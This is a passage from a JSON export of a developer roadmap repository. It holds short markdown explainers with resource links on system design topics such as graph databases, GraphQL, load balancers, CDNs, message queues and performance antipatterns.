    "content": "# Graph Databases\n\nIn a graph database, each node is a record and each arc is a relationship between two nodes. Graph databases are optimized to represent complex relationships with many foreign keys or many-to-many relationships.\n\nGraphs databases offer high performance for data models with complex relationships, such as a social network. They are relatively new and are not yet widely-used; it might be more difficult to find development tools and resources. Many graphs can only be accessed with REST APIs.\n\nVisit the following resources to learn more:\n\n- [@article@Graph database](https://en.wikipedia.org/wiki/Graph_database)\n- [@video@Introduction to NoSQL](https://www.youtube.com/watch?v=qI_g07C_Q5I)\n- [@feed@Explore top posts about Backend Development](https://app.daily.dev/tags/backend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/graphql@jwv2g2Yeq-6Xv5zSd746R.md",
    "content": "# GraphQL\n\nGraphQL is a query language and runtime for building APIs. It allows clients to define the structure of the data they need and the server will return exactly that. This is in contrast to traditional REST APIs, where the server exposes a fixed set of endpoints and the client must work with the data as it is returned.\n\nVisit the following resources to learn more:\n\n- [@article@GraphQL Server](https://www.howtographql.com/basics/3-big-picture/)\n- [@article@What is GraphQL?](https://www.redhat.com/en/topics/api/what-is-graphql)\n- [@feed@Explore top posts about GraphQL](https://app.daily.dev/tags/graphql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/grpc@Hw2v1rCYn24qxBhhmdc28.md",
    "content": "# gRPC\n\ngRPC is a high-performance, open-source framework for building remote procedure call (RPC) APIs. It is based on the Protocol Buffers data serialization format and supports a variety of programming languages, including C#, Java, and Python.\n\nVisit the following resources to learn more:\n\n- [@article@What Is gRPC?](https://www.wallarm.com/what/the-concept-of-grpc)\n- [@feed@Explore top posts about gRPC](https://app.daily.dev/tags/grpc?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/health-endpoint-monitoring@CKCNk3obx4u43rBqUj2Yf.md",
    "content": "# Health Endpoint Monitoring\n\nImplement functional checks in an application that external tools can access through exposed endpoints at regular intervals. This can help to verify that applications and services are performing correctly.\n\nVisit the following resources to learn more:\n\n- [@article@Health Endpoint Monitoring pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/health-endpoint-monitoring)\n- [@article@Explaining the health endpoint monitoring pattern](https://www.oreilly.com/library/view/java-ee-8/9781788830621/5012c01e-90ca-4809-a210-d3736574f5b3.xhtml)\n- [@feed@Explore top posts about Monitoring](https://app.daily.dev/tags/monitoring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/health-endpoint-monitoring@cNJQoMNZmxNygWAJIA8HI.md",
    "content": "# Health Endpoint Monitoring\n\nImplement functional checks in an application that external tools can access through exposed endpoints at regular intervals. This can help to verify that applications and services are performing correctly.\n\nVisit the following resources to learn more:\n\n- [@article@Health Endpoint Monitoring pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/health-endpoint-monitoring)\n- [@article@Explaining the health endpoint monitoring pattern](https://www.oreilly.com/library/view/java-ee-8/9781788830621/5012c01e-90ca-4809-a210-d3736574f5b3.xhtml)\n- [@feed@Explore top posts about Monitoring](https://app.daily.dev/tags/monitoring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/health-endpoint-monitoring@uK5o7NgDvr2pV0ulF0Fh9.md",
    "content": "# Health Endpoint Monitoring\n\nImplement functional checks in an application that external tools can access through exposed endpoints at regular intervals. This can help to verify that applications and services are performing correctly.\n\nVisit the following resources to learn more:\n\n- [@article@Health Endpoint Monitoring pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/health-endpoint-monitoring)\n- [@article@Explaining the health endpoint monitoring pattern](https://www.oreilly.com/library/view/java-ee-8/9781788830621/5012c01e-90ca-4809-a210-d3736574f5b3.xhtml)\n- [@feed@Explore top posts about Monitoring](https://app.daily.dev/tags/monitoring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/health-monitoring@hkjYvLoVt9xKDzubm0Jy3.md",
    "content": "# Health Monitoring\n\nA system is healthy if it is running and capable of processing requests. The purpose of health monitoring is to generate a snapshot of the current health of the system so that you can verify that all components of the system are functioning as expected.\n\nVisit the following resources to learn more:\n\n- [@article@Health Monitoring of a System](https://learn.microsoft.com/en-us/azure/architecture/best-practices/monitoring#health-monitoring)\n- [@feed@Explore top posts about Monitoring](https://app.daily.dev/tags/monitoring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/high-availability@wPe7Xlwqws7tEpTAVvYjr.md",
    "content": "# High availability\n\nAzure infrastructure is composed of geographies, regions, and Availability Zones, which limit the blast radius of a failure and therefore limit potential impact to customer applications and data. The Azure Availability Zones construct was developed to provide a software and networking solution to protect against datacenter failures and to provide increased high availability (HA) to our customers. With HA architecture there is a balance between high resilience, low latency, and cost.\n\nVisit the following resources to learn more:\n\n- [@article@High availability Patterns](https://learn.microsoft.com/en-us/azure/architecture/framework/resiliency/reliability-patterns#high-availability)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/horizontal-scaling@IkUCfSWNY-02wg2WCo1c6.md",
    "content": "# Horizontal Scaling\n\nLoad balancers can also help with horizontal scaling, improving performance and availability. Scaling out using commodity machines is more cost efficient and results in higher availability than scaling up a single server on more expensive hardware, called Vertical Scaling. It is also easier to hire for talent working on commodity hardware than it is for specialized enterprise systems.\n\nDisadvantages of horizontal scaling\n-----------------------------------\n\n*   Scaling horizontally introduces complexity and involves cloning servers\n    *   Servers should be stateless: they should not contain any user-related data like sessions or profile pictures\n    *   Sessions can be stored in a centralized data store such as a database (SQL, NoSQL) or a persistent cache (Redis, Memcached)\n*   Downstream servers such as caches and databases need to handle more simultaneous connections as upstream servers scale out."
  },
  {
    "path": "src/data/roadmaps/system-design/content/how-to-approach-system-design@os3Pa6W9SSNEzgmlBbglQ.md",
    "content": "# How To: System Design?\n\nThere are several steps that can be taken when approaching a system design:\n\n*   **Understand the problem**: Gather information about the problem you are trying to solve and the requirements of the system. Identify the users and their needs, as well as any constraints or limitations of the system.\n*   **Identify the scope of the system:** Define the boundaries of the system, including what the system will do and what it will not do.\n*   **Research and analyze existing systems:** Look at similar systems that have been built in the past and identify what worked well and what didn't. Use this information to inform your design decisions.\n*   **Create a high-level design:** Outline the main components of the system and how they will interact with each other. This can include a rough diagram of the system's architecture, or a flowchart outlining the process the system will follow.\n*   **Refine the design:** As you work on the details of the design, iterate and refine it until you have a complete and detailed design that meets all the requirements.\n*   **Document the design:** Create detailed documentation of your design for future reference and maintenance.\n*   **Continuously monitor and improve the system:** The system design is not a one-time process, it needs to be continuously monitored and improved to meet the changing requirements.\n\nVisit the following resources to learn more:\n\n- [@opensource@How to approach System Design?](https://github.com/donnemartin/system-design-primer#how-to-approach-a-system-design-interview-question)\n- [@article@What are system design questions?](https://www.hiredintech.com/system-design)\n- [@article@My System Design Template](https://leetcode.com/discuss/career/229177/My-System-Design-Template)\n- [@video@Intro to Architecture and Systems Design Interviews](https://www.youtube.com/watch?v=ZgdS0EUmn70)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/http@I_nR6EwjNXSG7_hw-_VhX.md",
    "content": "# HTTP\n\nHTTP is a method for encoding and transporting data between a client and a server. It is a request/response protocol: clients issue requests and servers issue responses with relevant content and completion status info about the request. HTTP is self-contained, allowing requests and responses to flow through many intermediate routers and servers that perform load balancing, caching, encryption, and compression.\n\nA basic HTTP request consists of a verb (method) and a resource (endpoint). Below are common HTTP verbs:\n\n    Verb   | Description                   | Idempotent* | Safe | Cacheable                               |\n    -------|-------------------------------|-------------|------|-----------------------------------------|\n    GET    | Reads a resource              | Yes         | Yes  | Yes                                     |\n    POST   | Creates a resource or trigger | No          | No   | Yes if response contains freshness info |\n    PUT    | Creates or replace a resource | Yes         | No   | No                                      |\n    PATCH  | Partially updates a resource  | No          | No   | Yes if response contains freshness info |\n    DELETE | Deletes a resource            | Yes         | No   | No                                      |\n\nVisit the following resources to learn more:\n\n- [@article@Everything you need to know about HTTP](https://cs.fyi/guide/http-in-depth)\n- [@article@What Is HTTP?](https://www.nginx.com/resources/glossary/http/)\n- [@article@What is the difference between HTTP protocol and TCP protocol?](https://www.quora.com/What-is-the-difference-between-HTTP-protocol-and-TCP-protocol)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/idempotent-operations@3pRi8M4xQXsehkdfUNtYL.md",
    "content": "# Idempotent Operations\n\nIdempotent operations are operations that can be applied multiple times without changing the result beyond the initial application. In other words, if an operation is idempotent, it will have the same effect whether it is executed once or multiple times.\n\nIt is also important to understand the benefits of [idempotent](https://en.wikipedia.org/wiki/Idempotence#Computer_science_meaning) operations, especially when using message or task queues that do not guarantee _exactly once_ processing. Many queueing systems guarantee _at least once_ message delivery or processing. These systems are not completely synchronized, for instance, across geographic regions, which simplifies some aspects of their implementation or design. Designing the operations that a task queue executes to be idempotent allows one to use a queueing system that has accepted this design trade-off.\n\nVisit the following resources to learn more:\n\n- [@article@What is an idempotent operation?](https://stackoverflow.com/questions/1077412/what-is-an-idempotent-operation)\n- [@article@Overview of Idempotent Operation](https://www.baeldung.com/cs/idempotent-operations)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/improper-instantiation@lwMs4yiUHF3nQwcvauers.md",
    "content": "# Improper Instantiation\n\nImproper instantiation in system design refers to the practice of creating unnecessary instances of an object, class or service, which can lead to performance and scalability issues. This can happen when the system is not properly designed, when the code is not written in an efficient way, or when the code is not optimized for the specific use case.\n\nVisit the following resources to learn more:\n\n- [@article@Improper Instantiation antipattern](https://learn.microsoft.com/en-us/azure/architecture/antipatterns/improper-instantiation/)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/index-table@AH0nVeVsfYOjcI3vZvcdz.md",
    "content": "# Index Table\n\nCreate indexes over the fields in data stores that are frequently referenced by queries. This pattern can improve query performance by allowing applications to more quickly locate the data to retrieve from a data store.\n\nVisit the following resources to learn more:\n\n- [@article@Index Table pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/index-table)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/instrumentation@Q0fKphqmPwjTD0dhqiP6K.md",
    "content": "# Instrumentation\n\nInstrumentation is a critical part of the monitoring process. You can make meaningful decisions about the performance and health of a system only if you first capture the data that enables you to make these decisions. The information that you gather by using instrumentation should be sufficient to enable you to assess performance, diagnose problems, and make decisions without requiring you to sign in to a remote production server to perform tracing (and debugging) manually. Instrumentation data typically comprises metrics and information that's written to trace logs.\n\nVisit the following resources to learn more:\n\n- [@article@Instrumenting an application](https://learn.microsoft.com/en-us/azure/architecture/best-practices/monitoring#instrumenting-an-application)\n- [@article@Instrumenting using Open Telemetry](https://opentelemetry.io/docs/concepts/what-is-opentelemetry)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/introduction@_hYN0gEi9BL24nptEtXWU.md",
    "content": "# Introduction\n\nSystem design is the process of defining the elements of a system, as well as their interactions and relationships, in order to satisfy a set of specified requirements.\n\nIt involves taking a problem statement, breaking it down into smaller components and designing each component to work together effectively to achieve the overall goal of the system. This process typically includes analyzing the current system (if any) and determining any deficiencies, creating a detailed plan for the new system, and testing the design to ensure that it meets the requirements. It is an iterative process that may involve multiple rounds of design, testing, and refinement.\n\nIn software engineering, system design is a phase in the software development process that focuses on the high-level design of a software system, including the architecture and components.\n\nIt is also one of the important aspects of the interview process for software engineers. Most of the companies have a dedicated system design interview round, where they ask the candidates to design a system for a given problem statement. The candidates are expected to come up with a detailed design of the system, including the architecture, components, and their interactions. They are also expected to discuss the trade-offs involved in their design and the alternatives that they considered."
  },
  {
    "path": "src/data/roadmaps/system-design/content/key-value-store@KFtdmmce4bRkDyvFXZzLN.md",
    "content": "# Key Value Store\n\nA key-value store generally allows for `O(1)` reads and writes and is often backed by memory or SSD. Data stores can maintain keys in lexicographic order, allowing efficient retrieval of key ranges. Key-value stores can allow for storing of metadata with a value.\n\nKey-value stores provide high performance and are often used for simple data models or for rapidly-changing data, such as an in-memory cache layer. Since they offer only a limited set of operations, complexity is shifted to the application layer if additional operations are needed.\n\nVisit the following resources to learn more:\n\n- [@article@Key–value database](https://en.wikipedia.org/wiki/Key%E2%80%93value_database)\n- [@article@What are the disadvantages of using a key/value table?](https://stackoverflow.com/questions/4056093/what-are-the-disadvantages-of-using-a-key-value-table-over-nullable-columns-or)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/latency-vs-throughput@O3wAHLnzrkvLWr4afHDdr.md",
    "content": "# Latency vs Throughput\n\nLatency and throughput are two important measures of a system's performance. **Latency** refers to the amount of time it takes for a system to respond to a request. **Throughput** refers to the number of requests that a system can handle at the same time.\n\nGenerally, you should aim for maximal throughput with acceptable latency.\n\nVisit the following resources to learn more:\n\n- [@article@System Design: Latency vs Throughput](https://cs.fyi/guide/latency-vs-throughput/)\n- [@article@Understanding Latency versus Throughput](https://community.cadence.com/cadence_blogs_8/b/fv/posts/understanding-latency-vs-throughput)\n- [@video@Latency and Throughput - MIT](https://www.youtube.com/watch?v=3HIV4MnLGCw)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/layer-4-load-balancing@MpM9rT1-_LGD7YbnBjqOk.md",
    "content": "# Layer 4 Load Balancing\n\nLayer 4 load balancers look at info at the transport layer to decide how to distribute requests. Generally, this involves the source, destination IP addresses, and ports in the header, but not the contents of the packet. Layer 4 load balancers forward network packets to and from the upstream server, performing Network Address Translation (NAT).\n\nVisit the following resources to learn more:\n\n- [@article@Layer 4 Load Balancing](https://www.f5.com/glossary/layer-4-load-balancing)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/layer-7-load-balancing@e69-JVbDj7dqV_p1j1kML.md",
    "content": "# Layer 7 Load Balancing\n\nLayer 7 load balancers look at the application layer to decide how to distribute requests. This can involve contents of the header, message, and cookies. Layer 7 load balancers terminate network traffic, reads the message, makes a load-balancing decision, then opens a connection to the selected server. For example, a layer 7 load balancer can direct video traffic to servers that host videos while directing more sensitive user billing traffic to security-hardened servers.\n\nAt the cost of flexibility, layer 4 load balancing requires less time and computing resources than Layer 7, although the performance impact can be minimal on modern commodity hardware."
  },
  {
    "path": "src/data/roadmaps/system-design/content/lb-vs-reverse-proxy@ocdcbhHrwjJX0KWgmsOL6.md",
    "content": "# Load Balancer vs Reverse Proxy\n\n*   Deploying a load balancer is useful when you have multiple servers. Often, load balancers route traffic to a set of servers serving the same function.\n*   Reverse proxies can be useful even with just one web server or application server, opening up the benefits described in the previous section.\n*   Solutions such as NGINX and HAProxy can support both layer 7 reverse proxying and load balancing.\n\nDisadvantages of Reverse Proxy:\n-------------------------------\n\n*   Introducing a reverse proxy results in increased complexity.\n*   A single reverse proxy is a single point of failure, configuring multiple reverse proxies (ie a failover) further increases complexity.\n\nVisit the following resources to learn more:\n\n- [@article@Reverse Proxy vs Load Balancer](https://www.nginx.com/resources/glossary/reverse-proxy-vs-load-balancer/)\n- [@article@NGINX Architecture](https://www.nginx.com/blog/inside-nginx-how-we-designed-for-performance-scale/)\n- [@article@HAProxy Architecture Guide](http://www.haproxy.org/download/1.2/doc/architecture.txt)\n- [@article@Reverse Proxy](https://en.wikipedia.org/wiki/Reverse_proxy)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/leader-election@AJLBFyAsEdQYF6ygO0MmQ.md",
    "content": "# Leader Election\n\nCoordinate the actions performed by a collection of collaborating instances in a distributed application by electing one instance as the leader that assumes responsibility for managing the others. This can help to ensure that instances don't conflict with each other, cause contention for shared resources, or inadvertently interfere with the work that other instances are performing.\n\nVisit the following resources to learn more:\n\n- [@article@Leader Election Pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/leader-election)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/leader-election@beWKUIB6Za27yhxQwEYe3.md",
    "content": "# Leader Election\n\nCoordinate the actions performed by a collection of collaborating instances in a distributed application by electing one instance as the leader that assumes responsibility for managing the others. This can help to ensure that instances don't conflict with each other, cause contention for shared resources, or inadvertently interfere with the work that other instances are performing.\n\nVisit the following resources to learn more:\n\n- [@article@Leader Election Pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/leader-election)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/load-balancers@14KqLKgh090Rb3MDwelWY.md",
    "content": "# Load Balancers\n\nLoad balancers distribute incoming client requests to computing resources such as application servers and databases. In each case, the load balancer returns the response from the computing resource to the appropriate client. Load balancers are effective at:\n\n*   Preventing requests from going to unhealthy servers\n*   Preventing overloading resources\n*   Helping to eliminate a single point of failure\n\nLoad balancers can be implemented with hardware (expensive) or with software such as HAProxy. Additional benefits include:\n\n*   **SSL termination** - Decrypt incoming requests and encrypt server responses so backend servers do not have to perform these potentially expensive operations\n    *   Removes the need to install X.509 certificates on each server\n*   **Session persistence** - Issue cookies and route a specific client's requests to same instance if the web apps do not keep track of sessions\n\nDisadvantages of load balancer\n------------------------------\n\n*   The load balancer can become a performance bottleneck if it does not have enough resources or if it is not configured properly.\n*   Introducing a load balancer to help eliminate a single point of failure results in increased complexity.\n*   A single load balancer is a single point of failure, configuring multiple load balancers further increases complexity.\n\nVisit the following resources to learn more:\n\n- [@article@Scalability](https://cs.fyi/guide/scalability-for-dummies)\n- [@article@NGINX Architecture](https://www.nginx.com/blog/inside-nginx-how-we-designed-for-performance-scale/)\n- [@article@HAProxy Architecture Guide](http://www.haproxy.org/download/1.2/doc/architecture.txt)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/load-balancing-algorithms@urSjLyLTE5IIz0TFxMBWL.md",
    "content": "# Load Balancing Algorithms\n\nA load balancer is a software or hardware device that keeps any one server from becoming overloaded. A load balancing algorithm is the logic that a load balancer uses to distribute network traffic between servers (an algorithm is a set of predefined rules).\n\nThere are two primary approaches to load balancing. Dynamic load balancing uses algorithms that take into account the current state of each server and distribute traffic accordingly. Static load balancing distributes traffic without making these adjustments. Some static algorithms send an equal amount of traffic to each server in a group, either in a specified order or at random.\n\nVisit the following resources to learn more:\n\n- [@article@Types of Load Balancing Algorithms](https://www.cloudflare.com/learning/performance/types-of-load-balancing-algorithms/)\n- [@feed@Explore top posts about Algorithms](https://app.daily.dev/tags/algorithms?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/materialized-view@WB7vQ4IJ0TPh2MbZvxP6V.md",
    "content": "# Materialized View\n\nGenerate prepopulated views over the data in one or more data stores when the data isn't ideally formatted for required query operations. This can help support efficient querying and data extraction, and improve application performance.\n\nVisit the following resources to learn more:\n\n- [@article@Materialized View pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/materialized-view)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/message-queues@37X1_9eCmkZkz5RDudE5N.md",
    "content": "# Message Queues\n\nMessage queues receive, hold, and deliver messages. If an operation is too slow to perform inline, you can use a message queue with the following workflow:\n\n*   An application publishes a job to the queue, then notifies the user of job status\n*   A worker picks up the job from the queue, processes it, then signals the job is complete\n\nThe user is not blocked and the job is processed in the background. During this time, the client might optionally do a small amount of processing to make it seem like the task has completed. For example, if posting a tweet, the tweet could be instantly posted to your timeline, but it could take some time before your tweet is actually delivered to all of your followers.\n\nVisit the following resources to learn more:\n\n- [@article@What is Redis?](https://redis.io/)\n- [@article@RabbitMQ in Message Queues](https://www.rabbitmq.com/)\n- [@article@Overview of Amazon SQS](https://aws.amazon.com/sqs/)\n- [@article@Apache Kafka](https://kafka.apache.org/)\n- [@article@RabbitMQ for beginners](https://www.cloudamqp.com/blog/part1-rabbitmq-for-beginners-what-is-rabbitmq.html)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/messaging@dsWpta3WIBvv2K9pNVPo0.md",
    "content": "# Messaging\n\nMessaging is a pattern that allows for the communication and coordination between different components or systems, using messaging technologies such as message queues, message brokers, and event buses. This pattern allows for decoupling of the sender and receiver, and can be used to build scalable and flexible systems.\n\nVisit the following resources to learn more:\n\n- [@article@Messaging Cloud Patterns](https://learn.microsoft.com/en-us/azure/architecture/patterns/category/messaging)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/microservices@UKTiaHCzYXnrNw31lHriv.md",
    "content": "# Microservices\n\nRelated to the \"Application Layer\" discussion are microservices, which can be described as a suite of independently deployable, small, modular services. Each service runs a unique process and communicates through a well-defined, lightweight mechanism to serve a business goal. 1\n\nPinterest, for example, could have the following microservices: user profile, follower, feed, search, photo upload, etc.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Microservices](https://aws.amazon.com/microservices/)\n- [@article@Microservices - Wikipedia](https://en.wikipedia.org/wiki/Microservices)\n- [@article@Microservices](https://martinfowler.com/articles/microservices.html)\n- [@feed@Explore top posts about Microservices](https://app.daily.dev/tags/microservices?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/monitoring@hDFYlGFYwcwWXLmrxodFX.md",
    "content": "# Monitoring\n\nDistributed applications and services running in the cloud are, by their nature, complex pieces of software that comprise many moving parts. In a production environment, it's important to be able to track the way in which users use your system, trace resource utilization, and generally monitor the health and performance of your system. You can use this information as a diagnostic aid to detect and correct issues, and also to help spot potential problems and prevent them from occurring.\n\nVisit the following resources to learn more:\n\n- [@article@Monitoring and Diagnostics Guidance](https://learn.microsoft.com/en-us/azure/architecture/best-practices/monitoring)\n- [@feed@Explore top posts about Monitoring](https://app.daily.dev/tags/monitoring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/monolithic-persistence@p1QhCptnwzTGUXVMnz_Oz.md",
    "content": "# Monolithic Persistence\n\nMonolithic Persistence refers to the use of a single, monolithic database to store all of the data for an application or system. This approach can be used for simple, small-scale systems but as the system grows and evolves it can become a bottleneck, resulting in poor scalability, limited flexibility, and increased complexity. To address these limitations, a number of approaches can be taken such as Microservices, Sharding, and NoSQL databases.\n\nVisit the following resources to learn more:\n\n- [@article@Monolithic Persistence antipattern](https://learn.microsoft.com/en-us/azure/architecture/antipatterns/monolithic-persistence/)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/no-caching@klvHk1_e03Jarn5T46QNi.md",
    "content": "# No Caching\n\nNo caching antipattern occurs when a cloud application that handles many concurrent requests, repeatedly fetches the same data. This can reduce performance and scalability.\n\nWhen data is not cached, it can cause a number of undesirable behaviors, including:\n\n*   Repeatedly fetching the same information from a resource that is expensive to access, in terms of I/O overhead or latency.\n*   Repeatedly constructing the same objects or data structures for multiple requests.\n*   Making excessive calls to a remote service that has a service quota and throttles clients past a certain limit.\n\nVisit the following resources to learn more:\n\n- [@article@No Caching antipattern](https://learn.microsoft.com/en-us/azure/architecture/antipatterns/no-caching/)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/noisy-neighbor@r7uQxmurvfsYtTCieHqly.md",
    "content": "# Noisy Neighbor\n\nNoisy neighbor refers to a situation in which one or more components of a system are utilizing a disproportionate amount of shared resources, leading to resource contention and reduced performance for other components. This can occur when a system is not properly designed or configured to handle the workload, or when a component is behaving unexpectedly.\n\nExamples of noisy neighbor scenarios include:\n\n*   One user on a shared server utilizing a large amount of CPU or memory, leading to reduced performance for other users on the same server.\n*   One process on a shared server utilizing a large amount of I/O, causing other processes to experience slow I/O and increased latency.\n*   One application consuming a large amount of network bandwidth, causing other applications to experience reduced throughput.\n\nVisit the following resources to learn more:\n\n- [@article@Noisy Neighbor antipattern](https://learn.microsoft.com/en-us/azure/architecture/antipatterns/noisy-neighbor/noisy-neighbor)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/performance-antipatterns@p--uEm6klLx_hKxKJiXE5.md",
    "content": "# Performance Antipatterns\n\nPerformance antipatterns in system design refer to common mistakes or suboptimal practices that can lead to poor performance in a system. These patterns can occur at different levels of the system and can be caused by a variety of factors such as poor design, lack of optimization, or lack of understanding of the workload.\n\nSome of the examples of performance antipatterns include:\n\n*   **N+1 queries:** This occurs when a system makes multiple queries to a database to retrieve related data, instead of using a single query to retrieve all the necessary data.\n*   **Chatty interfaces:** This occurs when a system makes too many small and frequent requests to an external service or API, instead of making fewer, larger requests.\n*   **Unbounded data:** This occurs when a system retrieves or processes more data than is necessary for the task at hand, leading to increased resource usage and reduced performance.\n*   **Inefficient algorithms:** This occurs when a system uses an algorithm that is not well suited to the task at hand, leading to increased resource usage and reduced performance.\n\nVisit the following resources to learn more:\n\n- [@article@Performance antipatterns for cloud applications](https://learn.microsoft.com/en-us/azure/architecture/antipatterns/)\n- [@feed@Explore top posts about Performance](https://app.daily.dev/tags/performance?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/performance-monitoring@x1i3qWFtNNjd00-kAvFHw.md",
    "content": "# Performance Monitoring\n\nAs the system is placed under more and more stress (by increasing the volume of users), the size of the datasets that these users access grows and the possibility of failure of one or more components becomes more likely. Frequently, component failure is preceded by a decrease in performance. If you're able detect such a decrease, you can take proactive steps to remedy the situation.\n\nVisit the following resources to learn more:\n\n- [@article@Performance Monitoring](https://learn.microsoft.com/en-us/azure/architecture/best-practices/monitoring#performance-monitoring)\n- [@feed@Explore top posts about Monitoring](https://app.daily.dev/tags/monitoring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/performance-vs-scalability@e_15lymUjFc6VWqzPnKxG.md",
    "content": "# Performance vs Scalability\n\nA service is **scalable** if it results in increased **performance** in a manner proportional to resources added. Generally, increasing performance means serving more units of work, but it can also be to handle larger units of work, such as when datasets grow.\n\nAnother way to look at performance vs scalability:\n\n*   If you have a **performance** problem, your system is slow for a single user.\n*   If you have a **scalability** problem, your system is fast for a single user but slow under heavy load.\n\nVisit the following resources to learn more:\n\n- [@article@Scalability, Availability & Stability Patterns](https://www.slideshare.net/jboner/scalability-availability-stability-patterns/)\n- [@article@A Word on Scalability](https://www.allthingsdistributed.com/2006/03/a_word_on_scalability.html)\n- [@article@Performance vs Scalability](https://blog.professorbeekums.com/performance-vs-scalability/)\n- [@feed@Explore top posts about Performance](https://app.daily.dev/tags/performance?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/pipes--filters@WkoFezOXLf1H2XI9AtBtv.md",
    "content": "# Pipes and Filters\n\nDecompose a task that performs complex processing into a series of separate elements that can be reused. This can improve performance, scalability, and reusability by allowing task elements that perform the processing to be deployed and scaled independently.\n\nVisit the following resources to learn more:\n\n- [@article@Pipe and Filter Architectural Style](https://learn.microsoft.com/en-us/azure/architecture/patterns/pipes-and-filters)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/pipes-and-filters@siXdR3TB9-4wx_qWieJ5w.md",
    "content": "# Pipes and Filters\n\nDecompose a task that performs complex processing into a series of separate elements that can be reused. This can improve performance, scalability, and reusability by allowing task elements that perform the processing to be deployed and scaled independently.\n\nVisit the following resources to learn more:\n\n- [@article@Pipes and Filters pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/pipes-and-filters)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/priority-queue@DZcZEOi7h3u0744YhASet.md",
    "content": "# Priority Queue\n\nPrioritize requests sent to services so that requests with a higher priority are received and processed more quickly than those with a lower priority. This pattern is useful in applications that offer different service level guarantees to individual clients.\n\nVisit the following resources to learn more:\n\n- [@article@Priority Queue pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/priority-queue)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/publishersubscriber@2ryzJhRDTo98gGgn9mAxR.md",
    "content": "# Publisher Subscriber\n\nEnable an application to announce events to multiple interested consumers asynchronously, without coupling the senders to the receivers.\n\nVisit the following resources to learn more:\n\n- [@article@Publisher-Subscriber pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/publisher-subscriber)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/pull-cdns@HkXiEMLqxJoQyAHav3ccL.md",
    "content": "# Pull CDNs\n\nPull CDNs grab new content from your server when the first user requests the content. You leave the content on your server and rewrite URLs to point to the CDN. This results in a slower request until the content is cached on the CDN.\n\nA time-to-live (TTL) determines how long content is cached. Pull CDNs minimize storage space on the CDN, but can create redundant traffic if files expire and are pulled before they have actually changed. Sites with heavy traffic work well with pull CDNs, as traffic is spread out more evenly with only recently-requested content remaining on the CDN.\n\nVisit the following resources to learn more:\n\n- [@opensource@Introduction to CDNs](https://github.com/donnemartin/system-design-primer#content-delivery-network)\n- [@article@The Differences Between Push And Pull CDNs](http://www.travelblogadvice.com/technical/the-differences-between-push-and-pull-cdns/)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/push-cdns@uIerrf_oziiLg-KEyz8WM.md",
    "content": "# Push CDNs\n\nPush CDNs receive new content whenever changes occur on your server. You take full responsibility for providing content, uploading directly to the CDN and rewriting URLs to point to the CDN. You can configure when content expires and when it is updated. Content is uploaded only when it is new or changed, minimizing traffic, but maximizing storage.\n\nSites with a small amount of traffic or sites with content that isn't often updated work well with push CDNs. Content is placed on the CDNs once, instead of being re-pulled at regular intervals.\n\nVisit the following resources to learn more:\n\n- [@opensource@Introduction to CDNs](https://github.com/donnemartin/system-design-primer#content-delivery-network)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/queu-based-load-leveling@LncTxPg-wx8loy55r5NmV.md",
    "content": "# Queue-Based Load Leveling\n\nUse a queue that acts as a buffer between a task and a service it invokes in order to smooth intermittent heavy loads that can cause the service to fail or the task to time out. This can help to minimize the impact of peaks in demand on availability and responsiveness for both the task and the service.\n\nVisit the following resources to learn more:\n\n- [@article@Queue-Based Load Leveling pattern](https://learn.microsoft.com/en-us/azure/architecture/patterns/queue-based-load-leveling)"
  },
  {
    "path": "src/data/roadmaps/system-design/content/queue-based-load-leveling@-M3Zd8w79sKBAY6_aJRE8.md",
